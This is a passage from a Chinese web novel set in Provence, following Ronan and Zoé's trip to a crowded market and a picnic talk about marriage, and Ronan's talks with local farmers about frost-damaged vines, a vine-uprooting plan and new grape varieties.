“不可能,还没进去我就已经喜欢这里了!” 罗南去买了单,发现那个巨大的三明治只需要25法郎。 “连三明治都是吕贝隆最便宜的?”佐伊拿着账单看了好几遍。 罗南迫不及待的拉起她的手,步入了米洛纳市场内: “我们去看看这个‘吕贝隆妇女最喜欢的地方’里究竟是什么样的。” 第371章 婚姻是一辈子的课题,不要着急! 相信全市场的人都能很轻易的看出来罗南和佐伊是第一次来到这里。 他们会小心翼翼的迈过放在地上的货箱,见到行人总是礼貌相让,生怕自己被撞到或被踩到。 而市场里的其他顾客,则像是即将上战场的士兵一样——如果现在不拿到关乎性命的‘补给’,她们就要面对生死危机! “这个鱼给我!” “老板我先来的,我还要去那边买鸽子,去晚了没有新鲜的了,快给我算帐!” “鸡胸多少钱?” “给我拿两个鸭腿!” 与这些着急买东西的妇女‘相辅相成’的,是一个个手握托盘的杂技演员,他们来自附近像‘宁静’一样的餐厅,是那里的服务员。 这些杂技演员在凌乱的货箱间轻巧的跳跃,遇到有碎冰或者水渍的地面,甚至能舒展的‘滑翔’过去,用最快的速度把手里的咖啡、酒或者其他食物送到忙碌了几个小时、急需要补充能量的摊主手里。 “这就是吕贝隆妇女们最喜欢的地方?”佐伊像一只受惊的小鸟,紧紧的贴着罗南的身体。 吕贝隆的妇女们太疯狂了! 刚刚是佐伊安慰罗南,现在换做罗南安慰佐伊了: “也许不抢今天就买不到好东西了.你没经历过‘大减价’吗?” 法国的‘大减价’习俗起始于二十世纪初,政府为规范商家促销行为,避免无序竞争,通过法律对减价期进行约束,约定每年有一个规定的减价期,最开始是冬季和夏季两次,后改为夏季一次。 除了法规规定的日子,在其他日子企业不允许进行不公平竞争。 每到7月大减价的日子,巴黎商场里的情形比这还吓人呢。 佐伊一边注意脚下一边摇头: “卢尔马兰没有可以打折的商铺,也没人去阿普特和艾克斯参加减价季.大家的购物欲都挺低的。” “低吗?”罗南指着面前的混乱场景说,“这些人的购物欲都挺高啊,我们快去看看吧,再晚点可能真的抢没了。” 冬季的吕贝隆物资较为贫瘠。 蔬菜和水果的品类比较少,放眼望去每家摊位上摆的都是差不多的东西,卖海鲜和肉类的摊位上品类相对丰富。 不过由于寒潮的影响,吃荤腥的人少了,这些摊位附近的顾客反而不多,是市场里较为清净的区域。 罗南和佐伊实在抢不过那些热情的妇女,在这里买东西是要拼手速的,他们亲眼看到刚刚拿出来的一箱克莱门汀小柑橘只是眨眼的功夫就被瓜分了.无奈只能先进入卖海鲜和肉类的区域。 虽然这个区域买东西的人少,但‘动静’可是一点都不小,铲冰的声音、砸冰的声音,屠刀砍在骨头上的声音各种恐怖的巨大声音此起彼伏。 很少进厨房的佐伊对这附近的噪音和气味非常不适应: “我是不是没办法当好一个好的‘吕贝隆妇女’啊,这种程度我就受不了了。” 佐伊对这次的‘采买’之行充满了期待,但在市场里走了好半天,没有买到任何东西,甚至连‘挑选’的机会都没有.她觉得自己太差劲了。 罗南很理解佐伊的心情。 他看到杀鸡、杀鹅的场景也会刻意扭过头去。 而且佐伊的手就该老老实实的去搞艺术罗南一点都不想让佐伊在厨房里浪费时间。 结婚是两个人的事,已经有一个厨子了,再来一个完全是浪费! “我们出去吧,回村子里买点蔬菜和肉。”罗南要时刻关注着佐伊别碰到、摔倒,心和眼睛也挺累。 佐伊有些不情愿的走向一个卖橄榄的摊位,这个摊位摆在了肉类和鱼类专区附近,没什么客户光临。 她想要给罗南做点好吃的,腌橄榄这种东西就算了但总不能空着手回去吧。 冬季正是吃腌橄榄最好的季节,那老板指着一排排胖墩墩的木桶,热情的介绍: “希腊式橄榄、百里香浸橄榄、迷迭香浸橄榄、辣椒橄榄、尼昂橄榄、香草蒜香橄榄、柑橘橄榄、酸橄榄需要一些什么?” 佐伊挑了几款罗南爱吃的口味交给老板: “谢谢。” 那老板看着佐伊说: “不多拿一点吗?你们不是阿普特人吧,来一次米洛纳市场不容易。” 佐伊露出礼貌的笑容: “不了,谢谢。” “好吧。”老板耸了一下肩膀,把橄榄放到秤上,“7法郎。” 正和罗南讨论中午吃什么的佐伊突然扭过头来: “7法郎?没算错吧?” 她拿了挺多的啊。 那老板把袋子递到佐伊手里: “你是觉得贵了,还是便宜了?5法郎一公斤,一直是这个价格。” 佐伊有些拿不准的问罗南: “咱们那边卖的腌橄榄多少钱?” 罗南回忆了一下: “好像是8块钱每公斤。” 中餐厅不用盐渍橄榄,罗南在集市上见到的橄榄似乎是这个价格。 “便宜这么多吗?”佐伊没有去接那个袋子,低头继续挑选起来,“这么便宜确实应该多买一点带回去。” 老板笑着拿出一个新的盛放橄榄的塑料盆给佐伊: “我就说嘛,你们这种外乡人好不容易来一趟米洛纳市场,应该多买点东西回去,这里卖的可是吕贝隆最新鲜和便宜的食物。” 老板的话再次提醒了佐伊米洛纳市场的特色。 抱着‘试一试’的心态,她拉着罗南来到一个专卖禽类的摊位。 “你想吃什么?”她问罗南。 罗南通过看和闻,判断出摊位上摆放的这些拔好毛的鸡、鸭、鸽子等都很新鲜,不需要刻意提醒佐伊避免哪个,于是把‘挑选’的权利完全交了出去: “你做什么我都爱吃。” 佐伊认为这里并不是谈情说爱的好地方,生疏的触碰了几下那些禽类: “那我们就看着挑了。” 佐伊没有什么经验,挑选的唯一标准就是‘名气’。 她最终选中了一只脖子上挂着像奖牌一样红白蓝三色标签的鸡,这个奖牌证明它是全法国最尊贵的鸡类——布雷斯鸡。 布雷斯鸡出产于法国东部布雷斯地区,因地名而命名,其特点是鸡冠鲜红,羽毛雪白,脚爪钢蓝,与法国国旗同色,也被誉为法国的‘国鸡’。 有些国家的人称呼法国为高卢雄鸡,而布雷斯鸡就是法国雄鸡最完美的化身。 布雷斯鸡也是法国唯一拥有AOC原产地认证的禽类,被誉为禽中‘劳斯莱斯’,米其林餐厅里一定会有它们的身影。 在其他鸡只能卖20法郎一公斤时,布雷斯鸡就已经是120法郎左右/公斤的身价了。 寒潮过后,肉类价格疯涨,它的价格更是来到了恐怖的180法郎/公斤。 佐伊清楚记得这个数字,因为贪吃的弗雷迪在一次聚会时说了整整一晚上,他抱怨未来一年可能都没有机会吃这种肉质带矿物质感、咀嚼起来有明显乳香与坚果香气的禽类了。 那么在米洛纳市场它的价格又如何呢? “160法郎/公斤,如果你多买两只我可以给到你150的价格。”那老板叼着烟说。 肉类现在不好卖,尤其是这种高价值的他愿意再再让出一部分利润。 佐伊兴奋的攥了一下拳头,拍着罗南的胳膊说: “未来一周你都有布雷斯鸡吃了宝贝!” 这种鸡非常好吃,多买点绝对不亏。 “太多了吧?”罗南阻拦道,“先买两只吧。” 佐伊全然不顾罗南的阻拦,让老板把鸡包好: “没事,那就叫弗雷迪和阿兰他们来,我们可以多召集几次聚会。” 上帝,这么便宜不买简直亏了! 怪不得吕贝隆的妇女都喜欢这里!! 这两次愉快的购物经历,把佐伊的购物欲完全激发了出来。 即使忍着扑鼻的鱼腥味,她也要在鱿鱼、金枪鱼、鲍鱼、鲈鱼、鳕鱼、鳐鱼、乌贼、龙虾和各种贝类间往返,以寻找她口中‘吕贝隆女人必须会的马赛鱼汤’的主食材。 她也放下了矜持和恐惧,挤入了妇女堆里挑选罗南和家人们爱吃的水果和蔬菜。 “我想我已经准备好做一个合格的‘吕贝隆妇女’了!” 米洛纳市场湿答答的地面上,响起了佐伊轻快的咯吱咯吱脚步声。 米洛纳市场的人流量非常大、规模也非常大,当佐伊完成了全部的采购,已经到了上午10点多,很显然这个时间再开回卢尔马兰无法给罗南做午饭了。 注意到时间后,佐伊的好心情瞬间消失: “可是我买这些食材的目的是为了给你做午饭” 罗南拿着大包小包的食材离开市场,去往停车的位置: “放轻松亲爱的,中午赶不上还有晚上,我们有的是时间。” 佐伊的情绪有一丢丢‘崩溃’,一个没忍住把藏在心里的话说了出来: “我妈妈从来不会因为买东西忘记给我和维埃里做饭,每一次我们回家,家里都会有香喷喷、刚做好的食物.我很担心我不能成为一个合格的妻子。” 罗南紧张的回头: “你怎么会这么想?” 佐伊手腾不出来,用额头碰了一下罗南的胳膊: “只是觉得,我还有许多地方需要提升。” 罗南想了一下,突然问佐伊: “早上我们两个人分了一个三明治吃,你现在饿了吗?” 佐伊茫然的抬头。 罗南的话题也太跳跃了吧? 怎么又扯到吃了! 小情侣在市场里不止买了做饭的食材,还买了许多可以直接吃的食物,例如奶酪、香肠、烟熏鲑鱼、猪肉丸,灌满蜜汁的鸭子罗南还嘴馋买了一瓶蜂蜜酒。 离开阿普特市区,罗南在吕贝隆山谷里随便找了一个风景优美的地方,停下来把货箱门打开,和佐伊并排看着风景野餐。 “我以为吃了那么大的三明治不会饿了,没想到还是能吃下这么多东西。”笑容又爬上了佐伊的脸庞。 面前这些全部是她爱吃的东西。 眼前的这一切才是‘春游’该有的样子。 罗南打开蜂蜜酒: “我们没有回家吃午饭,但这依然是一顿很棒的午餐对不对?” 佐伊很满意的点头: “当然,这顿午饭棒极了,我们以后找机会多多的出来野餐,下次还可以叫上朋友们一起。” 罗南看着佐伊完美的侧脸,笑着说: “夜游先是变成春游,未来又有可能演变成集体出游.这是我们昨天晚上完全没有预想过的情况对不对?而且就像这顿午饭一样,它也不在我们的规划之中,但你我都很满意,所以——” 罗南伸出双手捧起佐伊的脸: “没有什么事情是‘应该怎样’的,顺其自然的结果也非常棒啊,你不要把压力都放到自己身上,想着去做什么吕贝隆妇女你已经很棒了,毫无疑问的会是个合格的妻子!而且未来的家庭有我们两人呢,别再为这件事焦虑了,好吗?” 佐伊完全没想到罗南带她来野餐居然是为了开导自己。 她只是说了一句话罗南居然能看出了这么多东西? 随即佐伊露出了好看的明媚笑容,这是她这段时间笑的最开心的一次: “你总是这么体贴、这么有同理心、又这么温柔这是我爱你的地方,也是我心疼你的地方,所以我才想好好的照顾你。” 罗南在佐伊额头上重重亲了一口: “是互相照顾!我强的地方你就不用那么强了,我弱的地方你能顶上最好,顶不上我们一起学习。” 佐伊‘嫌弃’的擦了擦额头: “婚姻怎么被你说的这么容易?” “婚姻肯定不容易,但这是一辈子的课题,你还没拿到试卷,就想着找最佳答案,是不是太心急了?”罗南不顾佐伊的嫌弃,强行把她抱到怀里,“你的父母和我的父母都很恩爱不要担心,我们一定会交上一份满意的答卷。” “诶,你还没给我讲过你父母的爱情故事呢。” “没有讲过吗?那我现在给你讲!” “边吃边讲,你尝尝这个烟熏鲑鱼,好好吃啊,而且这么便宜。” “你也尝尝这个蜂蜜酒,比我们在梅纳村喝的更好喝,没有那么甜了。” “快讲快讲,你父母是怎么在一起的!” “什么!居然是你妈妈追的你爸爸?” “怎么了?我们也一样啊。” “滚滚滚,谁追你了?我那是勾引!” “勾引?这个你没讲过,快给我讲讲你是怎么勾引我的?” “谁勾——啊哦~那里痒.罗南!罗南.看我今天怎么教训你!!” 第372章 小心试探 罗南和佐伊从米洛纳市场买回来的食材非常多,一周都吃不完。 还好气温回升,12年级的午休时间恢复到了2个半小时,维埃里每天可以回家吃午饭了,多了一个消化食物的人。 在过去的几个月里,无论再忙,罗南都不会忘记每过一阵子便拿出一个单独的时间和维埃里谈谈心,时刻关注他的心理健康。 罗南付出的精力没有白费,又随着佐伊和路易渐渐把维埃里看作大人,这个17岁小伙子的脸上又开始重现那种特属于青春期的朝气。 刚一开始见到罗南和佐伊在厨房里做饭,他会懂事的躲进卧室里,等到可以吃饭时再出来,但在罗南和佐伊不厌其烦的邀请下维埃里也加入到他们的烹饪学习之中去。 需要提升生活技能的人不止佐伊一个人。 经过三四天的观察,罗南发现莉亚这两个孩子的烹饪天赋都不错,而且各有各的特色。 佐伊的动手能力很强,可以把食材处理的非常干净,刀功也一教就会,她处理好的配菜摆在盘子里像艺术品一样精致。 不过到了真正的烹饪环节,她的能力就差了很多,调料经常弄混,计量也没轻没重的,还惧怕油渍.除了直接放进烤箱里烤一下就能吃的菜肴,距离能独立完成其他类型的菜品还需要一段时间的努力。 维埃里和姐姐佐伊正好相反,许多菜他看一次大体就‘会’了,虽然细节不能完全还原、食材处理的也很粗糙、卖相更是恐怖至极,但吃进嘴味道还可以。 不过维埃里最大的问题是——他做完饭,厨房像是一片废墟。 维埃里会很努力的收拾干净,不过那会浪费非常多时间,很可能没有宝贵的午睡了所以善后的工作佐伊会主动承担下来。 不过好消息是,佐伊非常喜欢收拾东西,不仅是厨房,还有卧室、起居室、盥洗室她说把东西擦洗干净并恢复原貌的过程非常治愈。 佐伊工作室里的东西非常多,石膏、玻璃、粘土、染料、各种材质的模具、不同用途的工具、大小机器还有各种书籍.一想到要做这里的卫生罗南就头疼,不过佐伊每半个月必做一次大扫除,全部东西搬出来擦的那种,如果这阵子不忙,这个频率会变得更高。 “这样看来,我并不是没有拿得出手的东西。”佐伊看着‘闪闪发亮’的厨房台面,自豪的叉起了腰。 我可真厉害啊。 罗南把厨房的最后一块地面擦干净,直起腰来夸赞道: “那是当然,这里简直像新的一样。” “我去上学了——”厨房外响起关门的声音,是维埃里离开了。 “你下午打算做什么?”罗南问佐伊。 吃完饭他们在沙发上小眯了一会才去收拾厨房,等下可以直接开始下午的‘工作’了。 佐伊弯下腰检查灶台是否足够干净: “练习绘画,想要进步,这些辅助手段都得不定期升级。” 前几天吃完午饭,佐伊会跟罗南学习雕刻,现在轮到绘画了。 罗南点了点头,继续问: “在家练习还是出去找人学?” 卢尔马兰有许多画家,不要看他们没什么名气,但其中有几个人功底非常厉害,距离成功只差一些运气和机遇。 佐伊终于放下了抹布: “我约了佩德里西亚在你的餐厅见面。” 罗南把工具搬到工作间里: “那我下午也去餐厅。” 在厨房里的佐伊大声喊: “不去做椅子了?” 罗南这段时间的空闲时间都用来做编织椅子。 罗南带着笑的声音从工具间里传来: “伊内斯昨天给我回电话了,我报上去的那份艺术家名单都通过了审批,你期盼已久的大型春游就在下周一。” 佐伊一路小跑冲过来,站在门外欣喜的问: “我们可以一起去尼斯了?” 上帝,卢尔马兰的三四十位艺术家居然能一起去做尼斯狂欢节的嘉宾! 罗南开心的说: “是的,我下午就去通知他们。” 佐伊兴奋的说: “我们这几天再去一次米洛纳市场吧?多买一些食物路上吃,还能和朋友们分享!” 罗南笑着抬手摸了摸额头,以挡住没有控制好的表情。 购物果真是女人刻在骨子里的基因,听到好消息第一反应居然是买买买! 餐厅是艺术家的聚集地,虽然下午人不齐,但只要跟一桌艺术家说,全卢尔马兰的艺术家很快会知道这个消息。 得知罗南居然把所有人都送到了尼斯,在场的几位艺术家当下就开始过‘狂欢节’了,他们激动的又唱又跳,期待起了下周一的情形。 “尼斯狂欢节每年都能吸引来40-50万世界各地的游客参加,人太多了,我去过两次根本看不到最核心的东西,只能看到一个个脑袋,但我今年要以嘉宾的身份去尼斯了,可以坐到视野最好的区域!” “罗南,我们可以上到花车上吗?今年的花车里还会有高8米的路易十六吗?” “我要去看木偶戏、看歌剧、还要去参加化妆舞会,有人和我一起吗?” “化妆舞会!我们要提前准备衣服吗?” 和艺术家区域的热闹氛围不同,同样把这里当作聚集地的农夫们则郁郁寡欢的。 凭什么罗南能带艺术家去尼斯,不能带他们这帮农夫去? 我们明明更早认识罗南啊。 “虽然但是.花车是什么?”康奈尔愤愤不平的抱怨了两句后问特奥,“你去看过吗?” 康奈尔已经算是卢尔马兰见多识广的本村人了,他经常出去打工,还替罗南送货,去过许多大城镇,其他村民一年都没有什么机会离开吕贝隆这片区域。 不过饶是去过许多地方的康奈尔都听不懂什么花车和8米高的路易十六,只是听语气判断出那是了不起的厉害东西,所以向更加见多识广的特奥请教。 特奥天天说跟卢卡斯去过这、去过那的.你去过尼斯狂欢节吗? 特奥突然提高了音量: “当然!花车就是用花做成的车子,你们没见过吗?” 说完特奥心虚的喝了半杯酒。 他哪里去过什么尼斯狂欢节啊。 卢卡斯几年前在阿维尼翁买了一所房子,两年前卖了阿维尼翁的房子在马赛买了一所公寓,特奥的‘见多识广’也就只限于这两座城市。 尼斯距离邻国摩纳哥只有30公里特奥只去那里送过两次松露,连顿饭都没留下来吃。 康奈尔继续问: “那8米高的路易十六又是什么?为什么要做那么高?用什么做的?这个活动为什么要邀请罗南去?” 特奥不耐烦的挥了下手: “因为罗南是厨师啊,肯定是请他去做甜品的,你忘了吗,他用甜品做的那只鸟成国宝了。” “哦,这样啊——”康奈尔没有那么羡慕了,“原来是去做饭的,我以为什么都不用干呢,那我也没那么想去了。” 另外一桌的亨利狠狠啐了一口: “哼,两个傻子!” 罗南和艺术家们聊了一会去尼斯的相关事情,一回头见到特奥和亨利都在餐厅里吓得不敢过多逗留,来到了农夫们所在的区域。 这两个家伙同时出现他害怕啊! 其实农夫们早就聊到其他话题,不过见罗南过来,特奥酸溜溜的挡住了旁边空着的座位: “去去去,别来我们这,去找你的艺术家们。” 罗南笑着拍了两下他的肩膀,用开玩笑的语气说: “昨天才拿了我一瓶粉红酒,今天就不认账要和我‘割席’了?” 经过罗南近一年的努力,他身边的男性朋友中终于出现两个爱喝粉红酒的人。 第一个是路易,佐伊说她爸爸应该很早之前就喜欢上粉红酒了,只是拉不下面子,在女儿和女婿的影响下现在终于敢‘做回自己’。 而第二个人就是特奥。 原先这小子是因为喜欢和其他人唱反调,喝个一两杯,后来跟罗南混熟了,被带的经常自己点。 特奥非常喜欢拿卢卡斯和罗南气其他人,显摆卢尔马兰最厉害的两个男人都和他关系匪浅,罗南知道特奥有这个习惯,没事就送他酒,让他有新谈资。 一瓶粉红酒特奥能念叨三天,在他的努力下,其他农夫偶尔也会点两杯,当然了,发现有其他人点粉红酒,罗南也会送他们。 卢尔马兰应该有更加好的粉红酒气氛。 特奥理直气壮的说: “粉红酒能和尼斯比?你都带他们去旅游了!” 虽然知道特奥在开玩笑,不过这话让罗南想到了克劳德的嘱托——帮忙处理艺术群体和本村村民的关系。 这次是开玩笑的,但下次呢? 下下次呢? 保不齐哪一次就真的产生了嫌弃。 想要彻底解决这个问题,需要让两伙人找到共同的利益,且最好能融到一起去,而如何做到这点呢? 罗南第一个想到的就是朱莉特口中的那个‘拔除计划’。 卢尔马兰大部分农夫种的都是‘高产低质的葡萄’,如果推行拔除计划,不少人会受波及。 无论是改行去酒庄上班,还是去艺术商铺上班都和游客牢牢的绑定到了起来。 留下的那一部分和罗南研究‘新品种’的兄弟也是一样情况,博物馆和酒庄的效益密不可分,都很依赖旅游业的发展,只有粉红酒卖的好,才能用美丽的价格收葡萄。 而罗南乐观的相信,这个计划应该不会给农夫们造成太大的收入影响。 转行的人有了稳定的收入来源,未来游客多了,说不定比种地赚的更多。 一部分人去工作了,继续种地人能分到更多的农田,收入也会相应的提升。 再加上卢尔马兰政府的灾害补偿金和拔除计划给的补偿金.从长远上看不会亏的。 不过这只是罗南的想法 他之前打算等卢尔马兰申请到旅游局的预算、看看灾害补偿金的数额后再试着推行,所以给朱莉特的时限是三月末或者四月初。 不过借着今天这个机会罗南想要先摸一摸农夫们的态度。 他不顾特奥的阻拦,一屁股坐到空位上,压低声音问: “如果说,我有一条赚钱的路径可以带着你们一起,但可能不能种地或者不能种现在的地了,你们愿意来吗?” 第373章 上面有人儿! 第一个给反应的是坐在隔壁桌的亨利。 冬天过去,山谷里没有什么风了,亨利又带上了他的船长帽,不过是一顶新的了。 他举起右手,像宣誓一样: “我愿意罗南先生!即使不赚钱,只要你需要,我亨利也会去的!” 但亨利的语气又很快软了下来: “不过.我还是希望能继续种地,即使不能种现在的地,我也想继续种地!” 亨利比特奥等人年纪大,已经四十出头,他从刚会走就跟父辈在地里干活,种了一辈子地.突然说让他去干别的,他还真有点舍不得。 特奥发出了一道不满的鼻音,似乎很看不惯亨利的回答: “罗南干的哪件事不比种地赚钱?见识短浅的家伙!罗南,我不种地了,你说吧,要干什么?” 以特奥的懒惰性格,能一直种地简直是奇迹。 主要因为他没有其他的本事 不过现在他和妻子学会了编织,特奥还真考虑过是不是要继续种地这个问题。 租出去当地主不好吗? 康奈尔则没有他们那么多复杂的想法,他根本就没有地,跟着罗南赚钱一直是他的梦想: “反正我很早前就决定要跟着你干了,你干什么,我干什么。” 康奈尔和其他农夫不一样,他已经给罗南打了好几个月工,无论是去阿普特给卡福送编织订单,还是去各地送松露.始终都是康奈尔在干的。 原先他母亲阿芒尼娜还一直劝儿子,要以种地为主要营生,帮罗南干活只是‘兼职’,但看到康奈尔每个月拿回去的法郎后也不再提这个话题了。 罗南对兄弟非常慷慨,这是农夫们都知道的事情。 在场的七八个农夫纷纷表明了自己的态度——无论是去干别的,还是种其他的地,反正大家都心甘情愿跟着罗南干。 “这有什么好问的?我妻子天天逼着我去跟你赚钱,我们就等你说这话呢罗南。” “谁不知道跟着你能赚大钱啊,我愿意去!” “说吧罗南,是什么赚钱的路子?” 罗南用‘玩笑’把这个话题岔了过去,现在还不到和大家摊牌的时候,还要等一等政府那里的进度。 不过看到大家是这个反应.罗南心里那颗大石头终于落了地。 农夫们的心态不仅可以解决艺术群体和村民之间的关系.还能解决地里那些‘薛定谔’的葡萄藤危机。 如果大伙坚信跟着他罗南干一定能赚钱,那么四月份的吕贝隆上空一定不会传出哭声——因为大家知道罗南一定能带领他们挺过去! 但有一个人的情况罗南还不是很放心。 皮埃尔是村里最忙的农夫。 在其他过农闲时,他已经开始为即将到来的夏季做准备。 一月份的寒潮给他敲了一次警钟,冬天要防寒,夏天要防旱,最近他在四处打听便宜的遮荫网,想要号召大伙给作物架上‘帽子’。 不过只要一闲下来,他还是会来罗南这里喝几杯。 这一天,皮埃尔一进入餐厅就把自己的裤腿挽起来,并把脚高高抬起。 “今天没忘。”皮埃尔对冯珍笑着说,“我穿了‘本命年’袜子!” 今年春节,冯珍给罗南几个过本命年的朋友准备了火红的战衣,皮埃尔这个大直男哪里肯穿红色,一回家就扔进了柜子里。 不过好几次碰到,冯珍都会问他穿了吗,皮埃尔只能找借口说洗了,今天他可是特意换上才来的。 冯珍操心的说: “对对对,本命年有的时候过的可波折了,穿红的破一破‘太岁’,一切才能顺利。” 皮埃尔当然不懂什么‘本命年’和‘太岁’,不过他知道这是罗南母亲对他的关心,于是笑着应和下来: “好,希望穿上它,今年一切顺利。” 一切顺利当然只是皮埃尔美好的期许,他知道穿上红色的袜子今年也注定无法破除‘太岁’。 他已经偷偷拆了不少葡萄藤,对寒潮的灾情大体有数了。 其实早在寒潮还没有过去时,经验丰富的皮埃尔就预想到现在的结局了.只总有那么一点侥幸心理,觉得能出现奇迹。 但奇迹哪是那么好出现的呢? 尤其是和自然有关的. 不过他没有把这件事说出去,每次出现在农夫们面前都是一副嘻嘻哈哈、插科打诨的样子。 因为他和罗南想的想法一样,也希望在4月初前找到可以让农夫们笑着面对灾情的办法。 最近这几个月他四处打听,还真有了一点头绪。 他一坐下来就听到特奥他们几个说,罗南刚才说要带着他们赚钱,只不过空欢喜了一场.这小子现在‘恶作剧’的功底已经和皮埃尔不相上下了。 农夫们讲这件事的样子既气愤又憧憬,似乎就算被骗了也不想脱离罗南编织的那场美梦。 皮埃尔非常清楚罗南在村民中的影响力,他的话甚至比自己这个农夫头子还要重要。 和农夫们聊了一会,他把罗南约到了餐厅外面的长椅,想要和他聊一聊重要的事情。 正巧罗南也想要和皮埃尔聊聊,但在商业街上太扎眼,把后院门打开,带他去了没有人打扰的清净之地。 嘻嘻哈哈只是皮埃尔的伪装,他实则是个心思细腻的人。 见到罗南把自己带到后院,马上意识到对方一定也有重要的事情找他聊.而且也是不想让其他人听到的。 “你先说还是我先说?”皮埃尔从墙边搬了两把椅子,擦干净之后递给罗南。 罗南没客气,直接坐了上去,笑着说: “我猜咱俩要说的事可能是一个目的。” 皮埃尔对土地和农夫们的感情有多深厚罗南太清楚不过,他亲眼见到了猛男落泪的场景。 那次在葡萄园里的交心对话后,他们没有再深入交流过这个话题,但罗南坚信,负责任的皮埃尔不会放任这件事不理。 皮埃尔坐到了罗南的身边,慵懒的伸了个懒腰: “我拆了葡萄藤。” 罗南没有什么情绪起伏的说: “我也拆了。” 见罗南这么淡定,皮埃尔语气也放松了下来,点了一根烟: “那你应该知道今年的日子会有多难过了吧?我打算号召大伙改种收获周期较短的蔬菜,例如生菜、菠菜、小萝卜和芝麻菜等,一年可以种3-4茬,收入非常稳定,重新培育葡萄的周期太长,风险又那么大。 我说的不只是自然风险,还有市场风险,葡萄收购价要看人家酒庄的脸色,他们压价,我们根本没有反抗的余地.活下来的葡萄藤继续保留,坏死的葡萄藤拔掉后种点这些能保本的东西,万一明、后年又出现什么波折,大家也不至于饿死。” 说完之后他期待的看向罗南: “你觉得怎么样?” 皮埃尔的计划需要罗南在背后支持才能顺利的实施。 罗南默默的叹了口气: “但地不值钱了啊” 事实上,在普罗旺斯种植同样面积的蔬菜比种植同样面积葡萄更加赚钱,年利润能高上2到3倍,因为蔬菜一年可以种好几茬,而且是居民日常需要的消耗品。 但葡萄园和橄榄园有法定传承属性,还可以抵押,这些都是菜地所不具备的。 以罗南的房子为例,他的石屋加上8亩葡萄园可以卖45万法郎,但如果那8亩地是菜地,可能就只值三十六七万了。 卢尔马兰许多老农夫经常把一句话挂在嘴边: “草莓和杏只能让你吃饱饭,但葡萄和橄榄是一辈子的养老金。” 普罗旺斯人傻吗? 为什么要放着更赚钱的菜和水果不种,抢着去种风险更大的葡萄和橄榄? 还不是因为有隐形价值! 先不说罗南同不同意,那些把地放出去签给佃农的地主们能同意你把他的葡萄园改成菜地?! 就为了每年多分那么1、2万法郎? 都不用等到21世纪,按照普罗旺斯现在房价发展的势头,五年内那些地就能亏出来好几套房子的钱。 皮埃尔嘻嘻哈哈的说: “所以我来找你帮忙了啊,你帮我一起游说,肯定会有人能答应的。” 皮埃尔当然知道这会影响地价,也知道会遭到许许多多的反对。 但像他和罗南这样拥有自己土地的农夫是少数,村里大部分农夫是佃农。 保护了土地的价值,这些兄弟就要连续好几年收入受损. 这也是没有办法的办法了。 虽然有很大的问题,但皮埃尔觉得可以试试。 罗南越想越觉得不可行,不停摆手: “你这个办法不好,而且会影响卢尔马兰成为AOC产区。” 罗南这两个月做了许多关于酒庄的功课,混种会影响未来提交AOC产区申请,而法国的葡萄酒想要卖上价格必须申请AOC。 AOC有非常严格的种植规范,产区一定范围内只能种植申报的葡萄品种,不能出现其他作物,甚至不在申报范围内的葡萄品种也不能种植。 如果现在把土地的属性改了,再改回来需要更加长的沉没成本.罗南绝对不支持皮埃尔的这个提议。 “卢尔马兰都没有自己的酒庄,怎么可能成为AOC产区?”皮埃尔以为罗南在开玩笑,无奈的问,“那你说怎么办?” 罗南认为皮埃尔是个值得信任的伙伴,至少在关乎于农夫们生计的问题上,他绝对不会儿戏。 思量再三后,他把政府计划中的灾害补贴、拔除计划和卢尔马兰未来要发展旅游业就一定会多出许多工作机会等信息全部和皮埃尔坦白了,只隐瞒了酒庄的部分,不过这些信息足够皮埃尔重新评估现在的形势。 说完之后,罗南用明显的探讨语气说: “普罗旺斯未来很长一段时间不会增加原有品种的葡萄园面积,但拔掉那么多老的,必然会发展出新的葡萄种类替代品,如果卢尔马兰政府和沃克吕兹省农业部给的补助可以支持兄弟们熬过前几年的静默期,等到新的葡萄果实出现. 那么不仅地价可以保住,新的葡萄也能卖上价值,你应该知道的,新培育的葡萄品种出现时,价格总会居高不下一阵子,所有酒庄都想要试试新葡萄能研发出什么东西。” 罗南曾和朱莉特聊过新葡萄品种在普罗旺斯的话题。 朱莉特说,所有新品种几乎都会经历从天价苗木到合理价位的这个发展过程,而这个时间有可能会长达10年之久。 幽默的朱莉特还把这个过程比喻成了‘婚姻’: “一个新品种就像结婚,需要10年才知道是否值得。” 罗南相信这个道理皮埃尔肯定也知道的。 皮埃尔对罗南的话深信不疑,仔细想了好久后才开口: “如果政府真的要强硬推行这个计划,那么普罗旺斯一定会出现新的葡萄替代品,这是必然发生的事情,不过——” 他苦笑着说: “你知道研发新品种有多难吗伙计?那根本不是我们这种普通老百姓可以完成的,先不说需要投入多少资金,你连葡萄苗都没有地方买啊伙计,我承认这个思路非常好,但落实不下去,如果我们要种新葡萄绝对赶不上第一批。” 罗南笑着拍了一下桌子。 巧了么不是? 我还真不是普通老百姓,咱们上面有人啊! 第374章 卢卡斯的礼物 朱莉特说过,沃克吕兹省有一个‘试验田’项目,可以免费获得所需苗木,还会提供必要的技术支持。 她还说,别人申请可能需要等1、2年,但罗南需要,她不仅能将项目顺利的推行落地还能提供更加多的帮助。 有人提供育苗、有人提供技术支持、人也是现成的,再加上系统里给的先进知识培育新葡萄绝并不是什么天方夜谭的事,还是有很大概率成功的。 几天前,罗南选出了几个可以提升粉红酒结构感的‘高级’葡萄种,它们有的是国际品种,有的是法国本土内培育过,但在普罗旺斯没有出现过的。 不过在找葡萄的时候罗南发现,除了普罗旺斯本土的那些传统品种,其他葡萄在普罗旺斯栽种多多少少都会遇到一些技术难题。 土壤虽然适合,但有的惧怕高温,有的较早成熟这些应该也是这些外来品种始终没有进入普罗旺斯这片土地的核心问题。 但就像罗南和皮埃尔都认同的观点那样——高产低质的葡萄品种被拔除,就一定会推动着低产高价的葡萄品种应运而生,那么这些技术难题是普罗旺斯人必须要面对的,罗南并不是孤军奋战。 罗南打算近期和那个‘试验田’项目接触一下,听取一些更加专业的建议后,再决定种什么新品种。 “我能找到渠道提供新的苗木,他们也许还能提供技术支持。”罗南没有展开说太多。 朱莉特还说过,如果新品种培育成功并印证经济或者生态价值,政府会给到额外的资金补助,不过这些都是后话了。 皮埃尔一听这话突然紧张起来,原本歪歪扭扭的身子都坐正了: “你千万别被骗了,有些人口号喊的可好了,结果是为了骗你的钱,就像卢卡斯的那个松露培育林项目.即使是正规项目,申请下来也非常麻烦,我知道你在普罗旺斯有一定人脉,但这件事不是那么容易办到的。” 罗南充分相信朱莉特的能力,不过皮埃尔的话也不能完全不听。 农业部马上要来卢尔马兰宣传‘气象保险’,罗南打算详细的问一问朱莉特口中的那个试验田项目,看看是否能和对方牵上线。 